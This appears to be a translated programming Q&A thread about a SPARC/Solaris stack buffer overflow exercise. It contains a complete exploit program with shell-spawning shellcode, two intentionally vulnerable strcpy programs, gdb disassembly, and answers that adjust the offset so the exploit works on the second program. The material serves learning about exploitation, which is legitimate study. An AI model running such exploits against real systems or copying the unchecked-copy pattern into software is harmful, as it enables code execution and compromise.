/* attack.c */
/* compile: cc -o attack attack.c */
#include <stdlib.h>
#include <stdio.h>
/* lsd - Solaris shellcode */
static char shell[] = /* 10*4+8 bytes */
"\x20\xbf\xff\xff" /* bn,a */
"\x20\xbf\xff\xff" /* bn,a */
"\x7f\xff\xff\xff" /* call */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
"\x82\x10\x20\x0b" /* mov 0x0b,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh" ;
#define BUFSIZE 464
#define DUFSIZE 456
/* SPARC NOP */
static char np[] = "\xac\x15\xa1\x6e";
unsigned long get_sp( void ){ asm("or %sp,%sp,%i0"); }
main( int argc, char *argv[] ) {
char buf[ BUFSIZE+1 ],*ptr;
unsigned long ret,sp;
int rem,i,err;
ret = sp = get_sp();
/* align return address */
if( ( rem = ret % 8 ) ){ ret &= ~(rem); }
bzero( buf, BUFSIZE );
for(i = 0; i < BUFSIZE; i += 4)
strcpy( &buf[i], np );
memcpy( (buf + BUFSIZE - strlen( shell ) - 8), shell, strlen( shell ));
ptr = &buf[DUFSIZE];
/* set fp to a save stack value */
*( ptr++ ) = ( sp >> 24 ) & 0xff;
*( ptr++ ) = ( sp >> 16 ) & 0xff;
*( ptr++ ) = ( sp >> 8 ) & 0xff;
*( ptr++ ) = ( sp ) & 0xff;
/* overwrite saved PC */
*( ptr++ ) = ( ret >> 24 ) & 0xff;
*( ptr++ ) = ( ret >> 16 ) & 0xff;
*( ptr++ ) = ( ret >> 8 ) & 0xff;
*( ptr++ ) = ( ret ) & 0xff;
buf[ BUFSIZE ] = 0;
//err = execl( "./server1", "server1", buf, ( void *)0 );
err = execl( "./server2", "server2", buf, ( void *)0 );
if( err == -1 ) perror("execl");
}
编译并运行attack.c,我可以利用server1.c中的漏洞
/* server1.c */
/* compile: cc -o server1 server1.c */
void copy(const char *a){
char foo[400];
int i, j, k;
strcpy(foo, a);
i = 1;
}
void main(int argc, char *argv[]){
if(argc >=2 )copy( argv[1] );
}
但是,attack.c与server2不同。知道为什么吗?
/* server2.c */
/* compile: cc -o server2 server2.c */
void copy2( const char *a ){
char buf[200];
int i, j, k;
strcpy(buf,a);
i = 1;
}
void copy1(const char *a){
char foo[200];
int i, j, k;
copy2(a);
i = 1;
}
void main( int argc, char *argv[] ) {
if (argc >=2 )copy1( argv[1] );
}
这是server2.c的程序集:
(gdb) disas copy2
Dump of assembler code for function copy2:
0x00010bd8 <copy2+0>: save %sp, -304, %sp
0x00010bdc <copy2+4>: add %fp, -200, %o0
0x00010be0 <copy2+8>: call 0x20ce8 <strcpy@plt>
0x00010be4 <copy2+12>: mov %i0, %o1
0x00010be8 <copy2+16>: mov 1, %l0
0x00010bec <copy2+20>: st %l0, [ %fp + -204 ]
0x00010bf0 <copy2+24>: ret
0x00010bf4 <copy2+28>: restore
0x00010bf8 <copy2+32>: ret
0x00010bfc <copy2+36>: restore
0x00010c00 <copy2+40>: illtrap 0x10000
0x00010c04 <copy2+44>: illtrap 0x10000
0x00010c08 <copy2+48>: illtrap 0x10000
0x00010c0c <copy2+52>: illtrap 0x10000
End of assembler dump.
(gdb) disas copy1
Dump of assembler code for function copy1:
0x00010c10 <copy1+0>: save %sp, -304, %sp
0x00010c14 <copy1+4>: call 0x10bd8 <copy2>
0x00010c18 <copy1+8>: mov %i0, %o0
0x00010c1c <copy1+12>: mov 1, %l0
0x00010c20 <copy1+16>: st %l0, [ %fp + -204 ]
0x00010c24 <copy1+20>: ret
0x00010c28 <copy1+24>: restore
0x00010c2c <copy1+28>: ret
0x00010c30 <copy1+32>: restore
0x00010c34 <copy1+36>: illtrap 0x10000
0x00010c38 <copy1+40>: illtrap 0x10000
0x00010c3c <copy1+44>: illtrap 0x10000
0x00010c40 <copy1+48>: illtrap 0x10000
0x00010c44 <copy1+52>: illtrap 0x10000
End of assembler dump.
(gdb) disas main
Dump of assembler code for function main:
0x00010c48 <main+0>: save %sp, -96, %sp
0x00010c4c <main+4>: cmp %i0, 2
0x00010c50 <main+8>: bl 0x10c68 <main+32>
0x00010c54 <main+12>: nop
0x00010c58 <main+16>: call 0x10c10 <copy1>
0x00010c5c <main+20>: ld [ %i1 + 4 ], %o0
0x00010c60 <main+24>: ret
0x00010c64 <main+28>: restore
0x00010c68 <main+32>: ret
0x00010c6c <main+36>: restore
End of assembler dump.
对于server1.c:
(gdb) disas copy
Dump of assembler code for function copy:
0x00010bc0 <copy+0>: save %sp, -504, %sp
0x00010bc4 <copy+4>: add %fp, -400, %o0
0x00010bc8 <copy+8>: call 0x20c98 <strcpy@plt>
0x00010bcc <copy+12>: mov %i0, %o1
0x00010bd0 <copy+16>: mov 1, %l0
0x00010bd4 <copy+20>: st %l0, [ %fp + -404 ]
0x00010bd8 <copy+24>: ret
0x00010bdc <copy+28>: restore
0x00010be0 <copy+32>: ret
0x00010be4 <copy+36>: restore
0x00010be8 <copy+40>: illtrap 0x10000
0x00010bec <copy+44>: illtrap 0x10000
0x00010bf0 <copy+48>: illtrap 0x10000
0x00010bf4 <copy+52>: illtrap 0x10000
End of assembler dump.
(gdb) disas main
Dump of assembler code for function main:
0x00010bf8 <main+0>: save %sp, -96, %sp
0x00010bfc <main+4>: cmp %i0, 2
0x00010c00 <main+8>: bl 0x10c18 <main+32>
0x00010c04 <main+12>: nop
0x00010c08 <main+16>: call 0x10bc0 <copy>
0x00010c0c <main+20>: ld [ %i1 + 4 ], %o0
0x00010c10 <main+24>: ret
0x00010c14 <main+28>: restore
0x00010c18 <main+32>: ret
0x00010c1c <main+36>: restore
End of assembler dump.
我需要在attack.c中修改什么才能使其利用server2.c?
答案 0 :(得分:5)
pfff ...终于。
#define BUFSIZE 464
#define DUFSIZE 256
我认为偏移是8,但它是200 + 8。
答案 1 :(得分:1)
也许编译器没有在foo[]
中为copy1()
分配空间,因为它未被使用。确切知道的唯一方法是查看生成的可执行文件的汇编代码。
答案 2 :(得分:0)
根据我的理解,因为copy2()
是被调用者而copy1()
是调用者,而copy1
的堆栈帧低于copy2
,我们发现分配的字节数给foo和buff,它给出了缓冲区的大小。然后,我们通过向buff的大小添加值来获取偏移值。该值是通过计算在被调用者中调用缓冲区溢出指令的地址与调用者中的返回地址之间的差异来获得的,因为这是我们引入shell代码的地方。
BUFFSIZE + 32 + 32-8